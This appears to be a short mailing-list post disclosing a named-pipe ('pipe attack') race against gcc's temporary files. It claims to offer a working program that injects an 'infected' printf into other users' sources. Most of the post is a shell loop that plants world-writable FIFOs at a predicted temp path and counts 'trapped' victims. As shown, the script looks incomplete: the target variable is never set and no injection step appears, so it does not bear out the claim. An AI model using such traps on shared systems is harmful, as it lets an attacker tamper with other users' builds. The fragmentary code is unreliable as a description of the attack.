Due to the questions about possibility of performing 'pipe attacks'
- there's *working* example of program, which appends function
printf("This program has been infected!\n"); after declarations
in the main() function to sources compiled using gcc. That IS serious
problem, isn't it? Of course, of course, this one (gcc vunerability)
can be easily patched, but gcc isn't the only one vunerable program!
Ok, here it is:

echo "I'm free, I'm free! Oh, I'm free..."
while :; do

  if [ ! "$V" = "" ]; then
    mkfifo -m 666 ${V}.s &>/dev/null
    if [ -p ${V}.s ]; then
      sleep 1

      let VICT=VICT+1
      echo "Someone has been just trapped ($VICT)."
    fi
    rm -f .lv$$.* ${V}.s &>/dev/null
  fi
done
